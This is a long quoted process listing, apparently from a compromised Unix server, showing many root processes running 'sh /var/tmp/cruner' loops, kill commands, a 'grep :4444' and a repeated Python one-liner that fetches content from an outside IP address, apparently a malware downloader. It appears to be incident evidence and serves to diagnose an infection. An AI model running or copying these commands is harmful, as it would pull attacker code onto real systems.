sh /var/tmp/cruner > root 25181 6795 0 15:45:57 ? 0:00 sleep 60 > root 25969 6867 0 - ? 0:00 <defunct> > root 5487 28185 0 - ? 0:00 <defunct> > root 13275 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16681 10342 0 - ? 0:00 <defunct> > root 16843 23718 0 15:46:00 ? 0:00 sh /tmp/cruner > root 1855 10410 0 15:45:58 ? 0:00 sleep 60 > root 24554 20459 0 - ? 0:00 <defunct> > root 29200 25699 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7702 4122 0 15:45:58 ? 0:00 xargs kill -9 > root 1540 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26061 4505 0 - ? 0:00 <defunct> > root 2026 25275 0 15:46:06 ? 0:00 bash -sh > root 20985 29964 0 15:46:00 ? 0:00 bash -sh > root 13045 13043 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15582 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9463 19477 0 15:46:07 ? 0:00 sleep 60 > root 665 12991 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26523 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25592 2145 0 15:44:09 ? 0:00 bash -sh > root 28138 29307 0 15:45:18 ? 0:00 sleep 60 > root 29883 15219 0 - ? 0:00 <defunct> > root 4703 24685 0 - ? 0:00 <defunct> > root 29775 26375 0 15:46:11 ? 0:00 sleep 60 > root 28389 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15407 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20921 7003 0 - ? 0:00 <defunct> > root 12239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12838 3672 0 - ? 0:00 <defunct> > root 10735 23112 0 15:46:07 ? 0:00 sleep 60 > root 20685 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3047 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22448 3032 0 15:46:09 ? 0:00 bash -sh > root 6853 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13320 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17527 16649 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 12443 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11204 11275 0 - ? 0:00 <defunct> > root 27450 27436 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19153 5358 0 15:46:09 ? 0:00 bash -sh > root 27104 19096 0 15:46:10 ? 0:00 bash -sh > root 16592 13870 0 15:43:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4325 13549 0 15:45:44 ? 0:00 bash -sh > root 6262 8963 0 15:45:35 ? 0:00 sleep 60 > root 2088 12609 0 15:42:25 ? 0:00 bash -sh > root 15733 6547 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8591 16897 0 15:45:20 ? 0:00 sleep 60 > root 15937 2744 0 - ? 0:00 <defunct> > root 18065 9993 0 15:44:57 ? 0:00 bash -sh > root 27413 27390 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25011 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20849 1761 0 - ? 0:00 <defunct> > root 1284 1129 0 - ? 0:00 <defunct> > root 1687 8937 0 15:45:48 ? 0:00 xargs kill -9 > root 7433 3028 0 15:45:36 ? 0:00 bash -sh > root 11391 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19171 18500 0 - ? 0:00 <defunct> > root 25967 11344 0 - ? 0:00 <defunct> > root 23147 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4173 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19922 16263 0 - ? 0:00 <defunct> > root 16384 16180 0 - ? 0:00 <defunct> > root 8537 7636 0 15:46:12 ? 0:00 bash -sh > root 6022 7575 0 15:45:49 ? 0:00 sh /tmp/cruner > root 9197 16272 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 12259 2317 0 - ? 0:00 <defunct> > root 23048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14897 14698 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6412 9681 0 15:43:31 ? 0:00 bash -sh > root 28547 23965 0 - ? 0:00 <defunct> > root 8223 25483 0 15:45:20 ? 0:00 sleep 60 > root 14282 25968 0 15:45:05 ? 0:00 bash -sh > root 27310 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7156 5969 0 - ? 0:00 <defunct> > root 20430 21134 0 15:46:00 ? 0:00 sleep 60 > root 9565 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14226 26806 0 15:45:16 ? 0:00 sleep 60 > root 23399 23940 0 15:46:09 ? 0:00 xargs kill -9 > root 1162 21649 0 15:46:11 ? 0:00 bash -sh > root 5428 11116 0 15:46:12 ? 0:00 sed -e s/\/.*//g > root 19101 18993 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7951 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19744 20053 0 15:43:22 ? 0:00 bash -sh > root 16066 14998 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13090 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9511 18064 0 15:45:59 ? 0:00 sleep 60 > root 2935 13869 0 15:45:58 ? 0:00 bash -sh > root 13959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23092 16033 0 15:46:01 ? 0:00 sleep 60 > root 28820 17812 0 15:45:18 ? 0:00 sleep 60 > root 4168 23252 0 15:46:11 ? 0:00 awk {print $7} > root 9924 13059 0 15:45:50 ? 0:00 sleep 60 > root 28418 13971 0 15:45:53 ? 0:00 xargs kill -9 > root 18783 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29842 14387 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 4988 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26083 6316 0 15:44:01 ? 0:00 bash -sh > root 6786 29936 0 15:45:09 ? 0:00 bash -sh > root 11390 6714 0 15:45:55 ? 0:00 bash -sh > root 14045 21891 0 15:45:37 ? 0:00 bash -sh > root 722 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28139 1108 0 - ? 0:00 <defunct> > root 5092 19331 0 - ? 0:00 <defunct> > root 24034 15800 0 15:46:10 ? 0:00 xargs kill -9 > root 23388 23053 0 - ? 0:00 <defunct> > root 28453 12100 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7806 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3856 16204 0 15:43:18 ? 0:00 bash -sh > root 8551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7579 7522 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11569 11563 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22704 29028 0 15:45:47 ? 0:00 sleep 60 > root 18053 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6926 15555 0 15:45:58 ? 0:00 bash -sh > root 20078 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10354 8906 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21420 21238 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21631 22051 0 - ? 0:00 <defunct> > root 10338 15536 0 - ? 0:00 <defunct> > root 1489 21396 0 15:45:24 ? 0:00 sleep 60 > root 17107 17100 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23793 27311 0 - ? 0:00 <defunct> > root 10017 335 0 15:45:55 ? 0:00 bash -sh > root 23970 3727 0 - ? 0:00 <defunct> > root 14759 11937 0 - ? 0:00 <defunct> > root 13789 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7073 3451 0 - ? 0:00 <defunct> > root 20447 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2152 6204 0 15:45:53 ? 0:00 bash -sh > root 7636 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19775 21789 0 - ? 0:00 <defunct> > root 3758 20205 0 15:45:19 ? 0:00 sleep 60 > root 20218 15601 0 15:45:17 ? 0:00 bash -sh > root 13539 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23546 21626 0 - ? 0:00 <defunct> > root 8845 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22999 14617 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 17383 12067 0 15:45:29 ? 0:00 bash -sh > root 22303 13579 0 15:44:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20766 8262 0 - ? 0:00 <defunct> > root 8990 3288 0 15:46:12 ? 0:00 bash -sh > root 26387 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25123 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13095 13010 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18823 18791 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2305 930 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 25927 26430 0 15:45:17 ? 0:00 bash -sh > root 10014 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12395 6030 0 - ? 0:00 <defunct> > root 8217 23889 0 15:45:45 ? 0:00 bash -sh > root 9741 9740 0 - ? 0:00 <defunct> > root 28538 24101 0 - ? 0:00 <defunct> > root 6214 1 0 22:42:47 ? 0:00 sh /var/tmp/cruner > root 28247 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28567 22611 0 15:45:34 ? 0:00 sleep 60 > root 27997 27987 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18098 28324 0 15:44:06 ? 0:00 bash -sh > root 7087 23148 0 15:45:35 ? 0:00 sleep 60 > root 2902 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2170 9425 0 15:45:31 ? 0:00 sleep 60 > root 108 11515 0 - ? 0:00 <defunct> > root 1669 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5687 2199 0 15:45:44 ? 0:00 bash -sh > root 29433 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18745 1 0 23:06:25 ? 0:00 sh /var/tmp/cruner > root 5478 5465 0 - ? 0:00 <defunct> > root 10390 22671 0 15:45:55 ? 0:00 bash -sh > root 14879 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 802 644 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20037 17370 0 15:44:53 ? 0:00 bash -sh > root 24389 6530 0 - ? 0:00 <defunct> > root 10311 8094 0 15:44:47 ? 0:00 bash -sh > root 24281 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24203 22545 0 - ? 0:00 <defunct> > root 24245 19100 0 - ? 0:00 <defunct> > root 7092 16368 0 - ? 0:00 <defunct> > root 26345 10182 0 - ? 0:00 <defunct> > root 16365 3356 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 18025 12779 0 15:45:56 ? 0:00 sleep 60 > root 17576 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25804 6387 0 15:43:29 ? 0:00 bash -sh > root 13430 17912 0 - ? 0:00 <defunct> > root 1846 10489 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3194 20246 0 15:46:06 ? 0:00 sleep 60 > root 16419 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8781 21824 0 - ? 0:00 <defunct> > root 15348 4733 0 15:45:32 ? 0:00 sleep 60 > root 2019 12567 0 15:45:39 ? 0:00 bash -sh > root 19683 23909 0 15:45:56 ? 0:00 xargs kill -9 > root 23961 752 0 15:45:47 ? 0:00 bash -sh > root 16138 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1936 8895 0 15:46:06 ? 0:00 bash -sh > root 729 8322 0 15:45:34 ? 0:00 sleep 60 > root 19413 29233 0 15:44:53 ? 0:00 bash -sh > root 26739 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2646 10998 0 15:46:11 ? 0:00 sleep 60 > root 10822 18231 0 - ? 0:00 <defunct> > root 26331 15536 0 - ? 0:00 <defunct> > root 23668 16117 0 - ? 0:00 <defunct> > root 28430 18911 0 15:46:02 ? 0:00 sleep 60 > root 10111 7494 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27543 18393 0 - ? 0:00 <defunct> > root 1541 1518 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20388 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5698 10994 0 15:45:58 ? 0:00 sleep 60 > root 17660 15589 0 - ? 0:00 <defunct> > root 27695 25358 0 15:45:39 ? 0:00 bash -sh > root 1373 9690 0 15:45:58 ? 0:00 sleep 60 > root 27918 28764 0 15:45:34 ? 0:00 sleep 60 > root 28785 29303 0 - ? 0:00 <defunct> > root 16468 8801 0 - ? 0:00 <defunct> > root 24757 17394 0 15:44:58 ? 0:00 bash -sh > root 16872 9 0 15:46:00 ? 0:00 sh /tmp/cruner > root 658 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15858 17585 0 15:44:16 ? 0:00 bash -sh > root 10453 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23991 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26107 3304 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 8358 24919 0 15:45:31 ? 0:00 bash -sh > root 28895 17651 0 15:45:47 ? 0:00 sleep 60 > root 17156 670 0 15:46:00 ? 0:00 bash -sh > root 27593 13856 0 - ? 0:00 <defunct> > root 29204 8302 0 - ? 0:00 <defunct> > root 179 15367 0 15:46:11 ? 0:00 awk {print $7} > root 14467 29413 0 15:45:41 ? 0:00 xargs kill -9 > root 20086 25566 0 - ? 0:00 <defunct> > root 7422 10210 0 15:45:36 ? 0:00 bash -sh > root 20686 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12774 28330 0 15:45:16 ? 0:00 sleep 60 > root 6234 13165 0 - ? 0:00 <defunct> > root 6754 6025 0 - ? 0:00 <defunct> > root 24535 15541 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3016 10250 0 15:45:48 ? 0:00 sleep 60 > root 24146 19574 0 - ? 0:00 <defunct> > root 2142 22097 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 4561 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4635 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13909 8870 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11717 11682 0 - ? 0:00 <defunct> > root 15267 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1034 20326 0 15:45:53 ? 0:00 sleep 60 > root 22048 25891 0 - ? 0:00 <defunct> > root 19034 19889 0 15:44:53 ? 0:00 bash -sh > root 15030 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13491 1 0 22:12:16 ? 0:00 sh /var/tmp/cruner > root 24340 23200 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26770 16476 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22384 22361 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4874 16488 0 15:45:54 ? 0:00 bash -sh > root 2670 11851 0 - ? 0:00 <defunct> > root 9319 9318 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9890 14097 0 - ? 0:00 <defunct> > root 10777 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1217 1676 0 15:45:53 ? 0:00 sleep 60 > root 16757 24516 0 15:44:52 ? 0:00 bash -sh > root 9781 1291 0 15:45:59 ? 0:00 sleep 60 > root 25706 29192 0 15:45:47 ? 0:00 sleep 60 > root 5654 20710 0 - ? 0:00 <defunct> > root 1148 1146 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23366 1282 0 15:46:01 ? 0:00 sh /tmp/cruner > root 14547 13316 0 15:46:04 ? 0:00 bash -sh > root 7286 15128 0 15:43:31 ? 0:00 bash -sh > root 27219 24177 0 15:45:18 ? 0:00 sleep 60 > root 9612 24843 0 15:46:12 ? 0:00 bash -sh > root 28737 23614 0 - ? 0:00 <defunct> > root 13958 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3146 15556 0 15:46:11 ? 0:00 bash -sh > root 4332 6590 0 15:45:24 ? 0:00 sleep 60 > root 502 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6496 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20211 12957 0 15:46:09 ? 0:00 sleep 60 > root 15259 20983 0 15:45:41 ? 0:00 sleep 60 > root 17453 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16099 4823 0 15:45:51 ? 0:00 sleep 60 > root 17003 11775 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20720 21322 0 15:45:06 ? 0:00 bash -sh > root 9020 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26248 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23001 2568 0 15:45:47 ? 0:00 bash -sh > root 21189 29961 0 - ? 0:00 <defunct> > root 29594 17456 0 15:45:27 ? 0:00 bash -sh > root 22660 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3483 2039 0 15:45:35 ? 0:00 sleep 60 > root 5418 17951 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18541 18479 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 429 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7107 5209 0 15:43:09 ? 0:00 bash -sh > root 10351 13792 0 15:45:41 ? 0:00 sleep 60 > root 27478 9252 0 - ? 0:00 <defunct> > root 6179 19022 0 15:45:49 ? 0:00 sleep 60 > root 9339 6449 0 - ? 0:00 <defunct> > root 23859 21822 0 - ? 0:00 <defunct> > root 22269 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20878 14326 0 15:45:12 ? 0:00 sleep 60 > root 19582 21387 0 - ? 0:00 <defunct> > root 1281 853 0 15:43:30 ? 0:00 bash -sh > root 27989 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 743 23211 0 15:45:44 ? 0:00 bash -sh > root 16595 7037 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1329 20696 0 15:43:41 ? 0:00 bash -sh > root 1351 27520 0 15:43:41 ? 0:00 bash -sh > root 18515 25309 0 15:45:42 ? 0:00 sleep 60 > root 9107 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6135 4392 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1603 15327 0 - ? 0:00 <defunct> > root 11283 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27318 26885 0 - ? 0:00 <defunct> > root 4880 29215 0 - ? 0:00 <defunct> > root 27865 11422 0 15:45:03 ? 0:00 bash -sh > root 10325 28225 0 15:44:15 ? 0:00 bash -sh > root 9824 19443 0 - ? 0:00 <defunct> > root 26646 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 829 21928 0 15:45:27 ? 0:00 sleep 60 > root 2863 10322 0 15:46:11 ? 0:00 bash -sh > root 5035 6616 0 15:45:54 ? 0:00 bash -sh > root 12130 24728 0 - ? 0:00 <defunct> > root 20777 27690 0 15:43:28 ? 0:00 bash -sh > root 4157 9121 0 15:46:06 ? 0:00 sleep 60 > root 12467 13535 0 15:45:16 ? 0:00 bash -sh > root 8028 13898 0 15:43:37 ? 0:00 bash -sh > root 17023 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13371 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16359 9711 0 15:45:46 ? 0:00 bash -sh > root 6475 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17031 15607 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23490 3059 0 15:44:08 ? 0:00 bash -sh > root 22804 89 0 15:45:17 ? 0:00 sleep 60 > root 2341 572 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29311 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4570 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3929 1 0 16:50:53 ? 0:01 sh /var/tmp/cruner > root 26957 4657 0 - ? 0:00 <defunct> > root 2483 13657 0 15:44:12 ? 0:00 bash -sh > root 40 7433 0 - ? 0:00 <defunct> > root 28207 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23778 13683 0 - ? 0:00 <defunct> > root 22241 11824 0 - ? 0:00 <defunct> > root 28644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24790 7040 0 15:45:07 ? 0:00 bash -sh > root 2045 5775 0 15:45:39 ? 0:00 bash -sh > root 24150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1607 1606 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21933 26376 0 15:45:30 ? 0:00 sleep 60 > root 5829 6155 0 15:44:23 ? 0:00 bash -sh > root 6874 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5197 6885 0 15:46:12 ? 0:00 bash -sh > root 13372 7688 0 15:45:05 ? 0:00 bash -sh > root 20045 23143 0 - ? 0:00 <defunct> > root 2957 15783 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25688 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5448 7400 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13860 5906 0 - ? 0:00 <defunct> > root 6204 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5272 19709 0 15:44:13 ? 0:00 bash -sh > root 10536 8468 0 15:45:59 ? 0:00 bash -sh > root 15490 8730 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11115 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25620 24350 0 - ? 0:00 <defunct> > root 20298 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17884 20716 0 - ? 0:00 <defunct> > root 26358 3672 0 - ? 0:00 <defunct> > root 28795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9219 23353 0 15:45:41 ? 0:00 bash -sh > root 1494 28762 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2345 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9454 908 0 15:45:54 ? 0:00 bash -sh > root 5508 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27370 23127 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1165 12010 0 15:45:31 ? 0:00 sleep 60 > root 2550 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20579 4661 0 - ? 0:00 <defunct> > root 16051 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7278 4182 0 15:43:43 ? 0:00 bash -sh > root 29427 27404 0 15:45:44 ? 0:00 bash -sh > root 14202 27056 0 15:45:21 ? 0:00 sleep 60 > root 2156 11684 0 - ? 0:00 <defunct> > root 28979 11662 0 15:43:06 ? 0:00 bash -sh > root 2323 14745 0 15:45:53 ? 0:00 sleep 60 > root 5482 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28497 6986 0 - ? 0:00 <defunct> > root 9520 3479 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20781 20777 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12651 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1202 29096 0 - ? 0:00 <defunct> > root 16854 1 0 20:58:48 ? 0:00 sh /var/tmp/cruner > root 22905 12499 0 15:46:01 ? 0:00 sleep 60 > root 22386 5586 0 15:45:26 ? 0:00 bash -sh > root 16399 1 0 22:46:06 ? 0:00 sh /tmp/cruner > root 28694 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17185 21239 0 - ? 0:00 <defunct> > root 19169 21169 0 15:45:26 ? 0:00 sleep 60 > root 6517 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4971 2306 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14781 1498 0 15:44:16 ? 0:00 bash -sh > root 20195 5560 0 15:45:29 ? 0:00 sleep 60 > root 24651 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2825 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8511 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9800 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9556 3801 0 15:45:59 ? 0:00 sh /var/tmp/cruner > root 17328 22851 0 - ? 0:00 <defunct> > root 27984 1 0 20:41:34 ? 0:00 sh /tmp/cruner > root 6163 26831 0 - ? 0:00 <defunct> > root 16323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4915 11145 0 15:46:11 ? 0:00 grep :4444 > root 26543 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10227 21597 0 15:44:47 ? 0:00 bash -sh > root 8113 5518 0 15:45:25 ? 0:00 sleep 60 > root 11656 11636 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5985 15219 0 - ? 0:00 <defunct> > root 3876 28892 0 15:45:24 ? 0:00 bash -sh > root 21796 21843 0 15:43:53 ? 0:00 bash -sh > root 25326 23856 0 15:45:47 ? 0:00 sleep 60 > root 14320 27076 0 15:43:20 ? 0:00 bash -sh > root 7851 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29982 11975 0 15:45:34 ? 0:00 sleep 60 > root 377 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8006 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7304 7430 0 - ? 0:00 <defunct> > root 12453 15681 0 15:45:21 ? 0:00 sleep 60 > root 15668 22362 0 - ? 0:00 <defunct> > root 19821 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2642 7129 0 15:46:06 ? 0:00 sleep 60 > root 11824 27597 0 15:45:59 ? 0:00 bash -sh > root 28863 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25159 25132 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18936 15667 0 15:45:16 ? 0:00 bash -sh > root 28211 9291 0 15:45:18 ? 0:00 sleep 60 > root 11592 26839 0 15:46:07 ? 0:00 bash -sh > root 18782 18585 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6004 10825 0 - ? 0:00 <defunct> > root 29352 25911 0 15:45:27 ? 0:00 sleep 60 > root 1608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28517 20895 0 15:45:23 ? 0:00 sleep 60 > root 25363 11571 0 15:44:54 ? 0:00 xargs kill -9 > root 16997 13346 0 - ? 0:00 <defunct> > root 20065 1 0 Oct 05 ? 0:02 